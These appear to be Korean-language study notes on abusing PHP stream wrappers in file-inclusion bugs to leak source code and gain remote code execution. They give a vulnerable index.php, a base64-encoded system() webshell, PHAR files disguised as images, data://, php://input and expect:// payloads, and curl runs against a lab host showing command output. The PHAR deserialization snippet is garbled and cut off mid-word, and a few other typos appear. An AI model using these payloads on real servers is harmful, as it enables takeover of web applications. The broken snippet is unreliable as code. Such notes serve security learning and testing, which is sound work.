PHP Wrapper
개념
- 파일처럼 보이지만, 실제로는 다른 방식(네트워크, 압축, 메모리 등)으로 데이터를 읽게 해주는 인터페이스
- PHP의
include(),file_get_contents()같은 함수는스트림을 읽는다
중요
php://filter/resource:php wrapper를 사용하지 않은것과 결과 동일.- 필터는 썼지만, 아무런 변화를 주지 않고 출력한 상태
- RCE가 일어날 수 있음
- 대신 소스코드 확인 불가
php://filter/convert.base64-encode/resource:- 대상 파일을 b64로 인코딩해서 읽고 문자열을 그대로 출력
- RCE는 일어나지 않음
- 대신 소스코드 확인 가능
예제 index.php
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file".".php");
}
else
{
include("home.php");
}
?>index.php?file=index의 경우:- include(“index.php”);로 실행됨
- index.php를 일반 파일 스트림으로 읽음 ⇒
index.php를 실행하고 결과를 반환함 ?file=php://filter/resource=index와 동일
index.php?file=php://filter/convert.base64-encode/resource=index의 경우:php://filter는 파일을 변형해서 읽는 스트림이다convert.base64-encode로 인해 base64 인코딩이 된다- 결과적으로,
index.php를 base64로 인코딩해서 문자열로 출력한다 ⇒ 내부 코드는 실행되지 않고 소스코드가 유출되는 효과
Zip Wrapper
- Zip Wrapper로, zipfile을 스트림으로 읽음.
#와 결합하여 압축 파일 내부의 파일을 지정해서 include 할 수 있다. (URL로 사용되는 경우%23으로 인코딩)
zip://zipfile.zip#malicious.phpzipfile.zip안에 있는malicious.php를 찾아서, 읽음.include와 결합되면, malicious.php가 실제로 실행됨include("zip://zipfile.zip#malicious.php"): malicious.php를 실행
zip 파일 확장자는 검사하되, .gif등은 허용되는 시나리오:
# gif 확장자로 zip압축 후 업로드
$zip shell.gif shell.php
'index.php?file=zip://shell.gif#shell.php&cmd=id'- 단순 확장자 검사를 우회하며, zip wrapper로 스크립트 로드
PHAR
PHAR=PHP Archive.zip처럼 파일도 묶으면서 동시에 PHP가 직접 실행/처리할 수 있는 구조를 가진 파일. →zip과 비슷하게 내부 파일 접근 가능함phar은, 원격 파일엔 동작 안하므로 업로드 필요하며 확장자 독립적이라,.jpg / .zip등으로 위장이 가능하다.- PHP < 8.0에서는 PHAR 파일을 읽기만 해도 내부 메타데이터가 역직렬화되면서 RCE가 가능했다
zip://래퍼는#기호를 사용해 내부 파일에 접근하며,ㅔphar://래퍼는/로 접근하는 구문의 중요한 차이가 있음
| Wrapper | 파일 접근 | URL Encode | example |
|---|---|---|---|
| zip:// | # | %23 | zip://archive.zip#file.text |
| phar:// | / | %2F | phar://archive.phar/file.text |
예시:
테스트 파일 생성
echo '<?php phpinfo(); ?>' > info.php
zip info.zip info.php
이후 info.zip파일을 업로드했다고 가정.
http://site.com/?page=phar://uploads/info.zip/info.php
http://site.com/?page=phar://uploads/info.zip/info
=> phpinfo 실행(.php를 붙이는 것은 사이트의 동작에 따라 다름)Malicious PHAR (include phar)
- 메타데이터 역직렬화와는 다른 일반적 케이스
shell.php를shell.phar로 컴파일
$cat shell.php
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
# shell.phar 생성
$php --define phar.readonly=0 shell.php
# 필요한 경우 확장자 변경
$mv shell.phar shell.jpg
# 트리거
phar://uploads/shell.jpg/shell.txt&cmd=id
=> %2F는 /의 URL Encode
=> addFromString에서 shell.txt로 저장했으므로, phar내에서도 shell.txt로 호출Malicious PHAR #2 (Deserialize RCE, php < 8.0)
PHP < 8.0에서 phar의 메타데이터를 자동으로 역직렬화하며 발생하는 RCE 취약점- 백엔드에서
include하지 않고,file_get_contents()등으로 파일을 읽는 함수에서도 RCE가 터질 수 있다. 전제 조건
- 서버에
__destruct(), __wakup(), __toString()과 같은 매직 메소드를 가진 클래스가 최소한 하나는 존재해야 한다.(공격자는 주로 소스코드 검증으로 이를 확인한다) - PHP의 버전이 8.0 미만이다
- 서버에 phar 파일 직접 업로드가 가능해야한다. (확장자는 상관없음. RFI가 안될 뿐)
phar://스킴을 사용할 엔드포인트가 존재해야 한다.
// create new Phar
$phar = new Phar('deser.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// add object of any class as meta data
clasㅔ
# add Magic Bytes
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");- 출처: PayloadAllTheThings
- https://github.com/ambionics/phpggc 와 같은 알려진 가젯체인 맞춤 페이로드 제작 리포도 존재
PHAR를 파싱하는 과정에서 RCE가 일어날 수 있는 대표 함수들
PHP Version < 8.0
file_exists()
is_file()
fopen()
file_get_contents()
getimagesize()
exif_read_data()RCE Wrapper (Data, Input, Expect)
Data Wrapper
allow_url_include = On으로 설정되어 있는 경우,data래퍼를 통한 RCE가 가능할 수 있다.- php 웹쉘 코드를 base64로 인코딩 후
data://text/plain;base64,<PAYLOAD>형태로 사용한다
allow_url_include / expect 설정 확인:
Apache2: /etc/php/A.B/apache2/php.ini
Nginx: /etc/php/A.B/fpm/php.ini
=> A.B는 PHP 버전 (5.5, 7.4 등...)
example:
/etc/php/7.4/fpm/php.ini
/etc/php/5.5/apache2/php.ini
$ curl -s http://10.10.10.10:80/index.php?language=php://filter/convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini
-> Base64 인코딩된 부분(php.ini)만 디코딩하여 설정값 확인
-> grep [allow_url_encode, expect]페이로드 base64 인코딩:
$ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==최종 페이로드 (base64 URL 인코딩):
index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id'Input Wrapper
Data래퍼와 유사하나, POST로 데이터를 전달해야함.- 웹페이지에서 POST를 받지 않으면 사용 불가
Data래퍼와 동일하게allow_url_include = On설정 필요
예시:
$curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://10.10.10.10:80/index.php?language=php://input&cmd=id" | grep uid
uid=33(www-data) gid=33(www-data) groups=33(www-data)Expect Wrapper
- php 서버 설정
extension=expect필요
예시:
$curl -s "http://10.10.10.10:80/index.php?language=expect://id" | grep uid